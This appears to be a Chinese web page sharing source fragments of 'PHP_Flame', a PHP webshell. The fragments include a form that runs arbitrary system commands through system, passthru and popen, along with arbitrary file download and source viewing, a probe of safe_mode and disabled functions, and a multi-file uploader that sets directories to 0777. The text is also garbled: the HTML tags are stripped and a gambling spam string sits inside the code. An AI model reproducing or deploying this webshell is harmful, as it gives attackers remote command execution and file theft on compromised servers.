PHP_Flame(Version:Progress)的原代码

IPHP_Flame (Version: Progress ) 的一些信息: *修正了无法下载文件的BUG
*修正了无法返回上级的BUG *修正了代码编辑出现错误的BUG ……
*增加PHPINFO的功能 *增加多文件下载的功能 *增加执行系统命令的功能
*增加代码查看功能 *增加服务器安全探测功能 …….
*还有许多美化工作。。。。。。 相关的资料:
1。修正了无法返回上级的BUG的代码: echo “a
href=/”$php_self?act=dir&dir=$dir/../”返回上级/a”;
2。修正了无法下载文件的相关代码: case “download”: if
(!@is_file($_GET[‘file_name’])) echo”你要下的文件不存在”; $filename
= basename($_GET[‘file_name’]); $filename_info = explode(‘.’,
$filename); $fileext = $filename_info[count($filename_info)-1];
header(‘Content-type: application/x-‘.$fileext);
header(‘Content-Disposition: attachment; filename=’.$filename);
header(‘Content-Description: PHP3 Generated Data’);
readfile($_GET[‘file_name’]); break; 3。增加代码查看功能 a
href=”?echo$php_self;??actionaa=cmd&method=show_source&cmd=? echo
$_GET[‘file’];?” target=_blank文件代码/a
4。修正了代码编辑出现错误的代码: $tem=
str_replace(“/textarea”,”//textarea”,$tem); 。。。。。 $tem=
str_replace(“//textarea”,”/textarea”,$tem); 5。增加服务器安全探测功能:
if (get_cfg_var(“safe_mode”))echo”onbr”;else echo”offbr”; echo “*
disable_functions:”;$dis_澳门新葡亰网站注册,func=get_cfg_var(“disable_functions”); if
($dis_func==””) { echo(“font color=redbno value/b/font”); } else {
$dis_func=str_replace(” “,”br”,$dis_func);
$dis_func=str_replace(“,”,”br”,$dis_func); echo(“$dis_func”); }
6。执行系统命令部分的代码: ? if ($actionaa==”cmd”) { ? body
bgcolor=”#6595d6″ form name=”form1″ method=”post” action=”?= $PHP_SELF
??actionaa=cmd” select name=”method” option value=”system” ? if
($method==”system”) { echo “selected”; } ?system/option option
value=”passthru” ? if ($method==”passthru”) { echo “selected”; }
?passthru/option option value=”show_source” ? if
($method==”show_source”) { echo “selected”; } ?show_source/option
option value=”opendir” ? if ($method==”opendir”) { echo “selected”; }
?opendir/option option value=”popen” ? if ($method==”popen”) { echo
“selected”; } ?popen/option /selectbr input type=”text” name=”cmd”
size=”40″ value=”?= $cmd; ?” input type=”submit” name=”Submit”
value=”?=$method?” br /form ? if (!$method) { $method=”system”; } if
(!$cmd) { echo “* JSW’S PHP FLAMEbr”; echo “* Author: JSWbr”; echo “*
safe_mode:”;if (get_cfg_var(“safe_mode”))echo”onbr”;else
echo”offbr”; echo “*
disable_functions:”;$dis_func=get_cfg_var(“disable_functions”); if
($dis_func==””) { echo(“font color=redbno value/b/font”); } else {
$dis_func=str_replace(” “,”br”,$dis_func);
$dis_func=str_replace(“,”,”br”,$dis_func); echo(“$dis_func”); } echo
“br* Now please choose a function and enter the command……”; } echo
“brpre”; if ($method==”system”) { system(“$cmd 2&1″); } if
($method==”passthru”) { passthru(“$cmd 2&1″); } if ($method==”opendir”)
{ $h=opendir($cmd); while($file=readdir($h)) { echo “$file/n”; } } if
($method==”show_source”) { if (show_source($cmd)) { //echo “pre”;
//echo show_source($file); //echo “/pre”; } else { echo “script
alert(/”unable to read file: $file using: show_source/”); /script”; } }
if ($method==”popen”) { $pp = popen(‘$cmd 2&1’, ‘r’); $read = fread($pp,
2096); echo $read; pclose($pp); } echo “/pre”; exit; } ?
7。增加文件上载的代码: ?php if($dir==””) $dir=”./”; ? ?
if($tools==upload) { for($i=1;$i21;$i++) { $temp1=”userfile”.$i;
$temp2=”userfile”.$i.”_name”; $source=$$temp1; $source_name=$$temp2;
if(@$source!=””) { @$v=file_exists($filedir); if(!$v) {
mkdir(@$filedir,0777); } @chmod($filedir,0777);
if(file_exists(“$filedir/$source_name”)==”1″) { if($up_flag==”y”) {
@unlink($filedir/$source_name);
@copy($source,”$filedir/$source_name”); echo
$source_name.”已覆盖上传br”; } else echo $source_name.”请重新上传!br”;
} else { @copy($source,”$filedir/$source_name”); echo
$source_name.”已上传br”; } } }//end for echo” html head titleJSW’S PHP
FLAME/title meta “Content-Type/” content=/”text/html; charset=gb2312/”
link href=t.css rel=stylesheet type=text/css script
language=/”javascript/” function setid() { str=’br’;
if(!window.uploadForm.upcount.valuewindow.uploadForm.upcount.value20window.uploadForm.upcount.value==0)
window.uploadForm.upcount.value=1;
for(i=1;i=window.uploadForm.upcount.value;i++) str+=’文件’+i+’:input
type=/”file/” name=/”userfile’+i+’/” style=/”width:400/”
class=/”tx1/”brbr’; window.upid.innerHTML=str+’br’; } /script /head body
body bgcolor=/”#6595d6/” table width=/”550/” border=/”1/”
cellspacing=/”0/” cellpadding=/”5/” align=/”center/” form name=/”t/”
method=/”get/” action=/”?/” tr class=/”t2/” tdli
1.指定上传目录(默认为本程序所在目录) input type=/”hidden/”
name=/”tools/” value=/”upload/” input type=/”text/” name=/”dir/” input
type=/”submit/” value=/”确定/” name=/”t/”/td/li /tr /form form
name=/”uploadForm/” method=/”post/” action=/”?tools=upload&dir=$dir/”
enctype=/”multipart/form-data/” tr class=/”t2/” td li
2.需要上传的个数(建议最大值 20) input type=/”text/” name=/”upcount/”
class=/”tx/” value=/”1/” input type=/”button/” name=/”Button/”
class=/”bt/” onclick=/”setid();/” value=/”设定/” /li li
3.全部文件都覆盖上传: input type=/”radio/” name=/”up_flag/”
value=/”y/”是input type=/”radio/” name=/”up_flag/” value=/”n/”
checked否 /li br br 您的文件将被上传到: $dir input type=/”hidden/”
name=/”filedir/” class=/”tx/” value=/”$dir/” a
href=/”?/”返回PHP_Flame/a /td /tr tr td id=/”upid/” height=/”122/”
文件1: input type=/”file/” name=/”userfile1/” style=/”width:400/”
class=/”tx1/” value=/”/” /td /tr tr td input type=/”submit/”
name=/”upload/” value=/”上传/” class=/”bt/” input type=/”reset/”
name=/”reset/” value=/”重执/” class=/”bt/” /td /tr/form /table /body
/html”; exit;} ? 。。。。。。 最后指明的是,这个PHP程序是在安然的PHP
Command的基础上编写的,在此表示感谢,完整代码: